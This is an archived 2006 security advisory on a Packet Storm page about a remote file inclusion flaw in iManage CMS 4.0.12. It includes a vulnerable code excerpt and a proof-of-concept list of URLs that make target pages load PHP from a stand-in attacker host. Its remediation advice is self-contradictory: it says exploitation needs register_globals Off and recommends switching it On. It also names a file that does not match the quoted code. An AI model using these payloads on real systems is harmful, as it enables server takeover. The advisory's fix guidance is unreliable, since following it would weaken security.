what you don't know can hurt you

Echo Security Advisory 2006.40

Echo Security Advisory 2006.40
Posted Jul 24, 2006
Authored by Echo Security, Matdhule | Site advisories.echo.or.id

iManage CMS versions 4.0.12 and below suffer from a remote file inclusion vulnerability.

tags | exploit, remote, file inclusion
MD5 | 03d52a08842fbfa218ffbc343ac0f43a

Echo Security Advisory 2006.40

Change Mirror Download
ECHO.OR.ID
ECHO_ADV_40$2006
---------------------------------------------------------------------------------------------------
[ECHO_ADV_40$2006] iManage CMS <= 4.0.12 (absolute_path) Remote File Inclusion
---------------------------------------------------------------------------------------------------

Author : Ahmad Maulana a.k.a Matdhule
Date Found : July, 20th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv40-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iManage CMS from Imaginex-Resource

Application : iManage CMS
version : 4.0.12 stable
URL : http://www.imaginex-resource.com

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~~

-----------------------component.php----------------------
....
<?php
/**
* iManage Version 4.0.12
* Dynamic portal server and Content managment engine
* 03-02-2003
*
* Copyright (C) 2000 - 2003 Imaginex-Resource
*
* Site Name: iManage Version 4.0.12
* File Name: rightComponent.php
* Date: 31/01/2003
* Version #: 4.0.12
* Comments: Display all modules which are to be displayed on the right.
**/

include($absolute_path.'/language/'.$lang.'/lang_components.php');
...
----------------------------------------------------------

Input passed to the "absolute_path" parameter in insert.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources

Affected files:

articles.php
contact.php
displaypage.php
faq.php
mainbody.php
news.php
registration.php
whosOnline.php
components/com_calendar.php
components/com_forum.php
components/minibb/index.php
components/minibb/bb_admin.php
components/minibb/bb_plugins.php
modules/mod_calendar.php
modules/mod_browser_prefs.php
modules/mod_counter.php
modules/mod_online.php
modules/mod_stats.php
modules/mod_weather.php
themes/bizz.php
themes/default.php
themes/simple.php
themes/original.php
themes/portal.php
themes/purple.php

and more :)

Successful exploitation requires that "register_globals= Off ".

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://target.com/[path]/articles.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/contact.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/news.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/registration.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt?

and more Affected files


Solution:
~~~~~~~~~
- Change register_globals= On
in php.ini
- Sanitize variable $absolute_path on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~~~
~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~

matdhule[at]gmail[dot]com

-------------------------------- [ EOF ]----------------------------------

Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close